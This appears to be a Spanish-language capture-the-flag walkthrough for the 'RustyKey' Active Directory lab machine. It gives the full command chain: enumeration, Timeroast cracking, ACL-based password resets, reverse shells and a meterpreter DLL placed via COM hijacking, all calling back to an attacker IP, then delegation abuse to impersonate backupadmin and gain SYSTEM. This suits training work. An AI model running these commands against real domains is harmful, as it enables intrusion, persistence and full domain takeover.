RustyKey 389

Escaneo:
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Sat Jun 28 21:08:52 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,470
│ 01,49664,49665,49666,49667,49669,49670,49671,49672,49673,49676,49692,49721 -oN targeted 10.10.11.75
2 │ Nmap scan report for 10.10.11.75
3 │ Host is up (0.35s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 53/tcp open domain Simple DNS Plus
7 │ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-29 03:09:01Z)
8 │ 135/tcp open msrpc Microsoft Windows RPC
9 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
10 │ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
11 │ 445/tcp open microsoft-ds?
12 │ 464/tcp open kpasswd5?
13 │ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
14 │ 636/tcp open tcpwrapped
15 │ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
16 │ 3269/tcp open tcpwrapped
17 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
18 │ |_http-server-header: Microsoft-HTTPAPI/2.0
19 │ |_http-title: Not Found
20 │ 9389/tcp open mc-nmf .NET Message Framing
21 │ 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
22 │ |_http-server-header: Microsoft-HTTPAPI/2.0
23 │ |_http-title: Not Found
24 │ 49664/tcp open msrpc Microsoft Windows RPC
25 │ 49665/tcp open msrpc Microsoft Windows RPC
26 │ 49666/tcp open msrpc Microsoft Windows RPC
27 │ 49667/tcp open msrpc Microsoft Windows RPC
28 │ 49669/tcp open msrpc Microsoft Windows RPC
29 │ 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
30 │ 49671/tcp open msrpc Microsoft Windows RPC
31 │ 49672/tcp open msrpc Microsoft Windows RPC
32 │ 49673/tcp open msrpc Microsoft Windows RPC
33 │ 49676/tcp open msrpc Microsoft Windows RPC
34 │ 49692/tcp open msrpc Microsoft Windows RPC
35 │ 49721/tcp open msrpc Microsoft Windows RPC
36 │ Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
37 │
38 │ Host script results:
39 │ | smb2-time:
40 │ | date: 2025-06-29T03:10:04
41 │ |_ start_date: N/A
42 │ | smb2-security-mode:
43 │ | 3:1:1:
44 │ |_ Message signing enabled and required
45 │ |_clock-skew: 7h59m59s
46 │
47 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
48 │ # Nmap done at Sat Jun 28 21:10:21 2025 -- 1 IP address (1 host up) scanned in 88.43 seconds
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────
TENEMOS CREDENCIALES:
rr.parker / 8#t5HE8L!W3A
LDAP Enumeración
Enumeración con LDAP (Lightweight Directory Access Protocol)
Guardamos todos los usuarios en un archivo llamado
usuarios.txt
ldapsearch -x -H ldap://10.10.11.75 -D 'rr.parker@rustykey.htb' -w '8#t5HE8L!W3A' -b 'dc=rustykey,dc=htb' "(objectClass=user)" userPrincipalName |
grep "userPrincipalName:" | awk -F'@' '{print $1}' | awk '{print $2}' > usuarios.txt
Resultado:
│ File: usuarios.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ rr.parker
2 │ mm.turner
3 │ bb.morgan
4 │ gg.anderson
5 │ dd.ali
6 │ ee.reed
7 │ nn.marcos
8 │ backupadmin
Con bloodhound buscamos que podemos hacer:
bloodhound-python -d rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -c all -ns 10.10.11.75 --zip
Nos percatamos que solo el usuario bb.morgan
es miembro del grupo REMOTE MANAGEMENT USERS

Enumeración con Timeroast
Enumeración con Timeroast (desde rr.parker
)
Usaste el script de TimeRoast, que funciona cuando tienes:
Un usuario válido (
rr.parker
)Acceso a Kerberos (puerto 88) y LDAP (389)
python3 timeroast.py 10.10.11.75 -o rustykey.hashes
# O PODEMOS HACER:
nxc smb 10.10.11.75 -M timeroast

Crackeo del Hash (TimeCrack o Hashcat)
python3 timecrack.py rustykey.hashes /usr/share/wordlists/rockyou.txt
# En Bloodhound vemos que RID 1125 pertenece a IT_COMPUTER3!!!
[+] Cracked RID 1125 password: Rusty88! #TENEMOS UN PASSWD

Una vez identificas que la contraseña Rusty88!
pertenece a IT-COMPUTER3$
, puedes usar los privilegios del equipo en AD para explotar la infraestructura.
BloodHound muestra que:
El equipo
IT-COMPUTER3$
puede agregarse al grupoHELPDESK
El grupo
HELPDESK
tiene WriteProperty/ResetPassword sobre cuentas comobb.morgan
,ee.reed
, etc.
Obtener TGT como máquina
getTGT.py -dc-ip 10.10.11.75 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=IT-COMPUTER3$.ccache
Esto te permite autenticarte como la máquina, usando Kerberos, gracias a Rusty88!
.
Agregarse al grupo HELPDESK
HELPDESK
bloodyAD --host dc.rustykey.htb --dc-ip 10.10.11.75 -d rustykey.htb -k add groupMember 'HELPDESK' IT-COMPUTER3$
Esto te da los privilegios del grupo HELPDESK usando la cuenta de máquina. Muy útil.
Cambiar contraseña de bb.morgan
bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' set password bb.morgan 'pa$$w0rd'
Esto funciona porque HELPDESK
tiene permisos sobre bb.morgan
.
Obtener TGT como bb.morgan
getTGT.py -dc-ip 10.10.11.75 'rustykey.htb/bb.morgan:pa$$w0rd'
export KRB5CCNAME=bb.morgan.ccache
Conectarte con evil-winrm
a la máquina
evil-winrm -i dc.rustykey.htb -u bb.morgan -p 'pa$$w0rd' -r rustykey.htb

Escalada de privilegios
Descargamos el PDF

Se encuentra un PDF que menciona que el grupo SUPPORT
obtiene privilegios temporales (como acceso al registro de Windows). Esto sugiere que podrÃas explotar esa pertenencia para elevar privilegios desde un usuario de SUPPORT (como ee.reed
).
Resetear contraseña de ee.reed
bloodyAD --kerberos --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' \
set password ee.reed 'Password123!'
WinRM no disponible para ee.reed
evil-winrm -i dc.rustykey.htb -u ee.reed -r rustykey.htb
Y falla. Posiblemente ee.reed
no tiene permitido conectarse por WinRM.
Uso de RunasCs para simular login de ee.reed
desde la sesión de bb.morgan
Teniendo shell con bb.morgan
, subes RunasCs.exe
:
.\RunasCs.exe ee.reed Password123! cmd.exe -r 10.10.16.94:4444

💥 Se obtienes una reverse shell como
ee.reed
.

Persistencia vÃa COM Hijacking con DLL maliciosa
Con shell como ee.reed
, generas un payload tipo DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.94 LPORT=4444 -f dll -o rev.dll
Subes el DLL a la máquina:
upload rev.dll
Y haces un hijack de un CLSID (identificador COM):
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\temp\rev.dll" /f
Esto inserta una clave maliciosa que redirige la carga de un componente COM hacia tu DLL.
📌 Esa CLSID (
7z.dll
) es usada frecuentemente por el sistema — con suerte, se carga poco después, y lanza tu DLL maliciosa.
Espera el reverse shell en Kali:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.16.7; set LPORT 4444; exploit"

shell
Poweshell
#Configurar la delegación para nuestra cuenta de máquina
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
🧠¿Qué significa esto?
Has configurado que la cuenta de máquina IT-COMPUTER3$
pueda hacer delegación hacia el Domain Controller.
Esto es crucial para el abuso de delegación con S4U2Self, el cual te permitirá impersonar a cualquier usuario, como el backupadmin
.
Solicita un ticket de servicio (TGS) con impersonación de backupadmin
:
impacket-getST -spn 'cifs/dc.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'
export KRB5CCNAME=backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache
Gana acceso como backupadmin
al DC (con shell SYSTEM):
wmiexec.py -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb'
o
psexec.py -k -no-pass 'RUSTYKEY.HTB/backupadmin@dc.rustykey.htb'

Last updated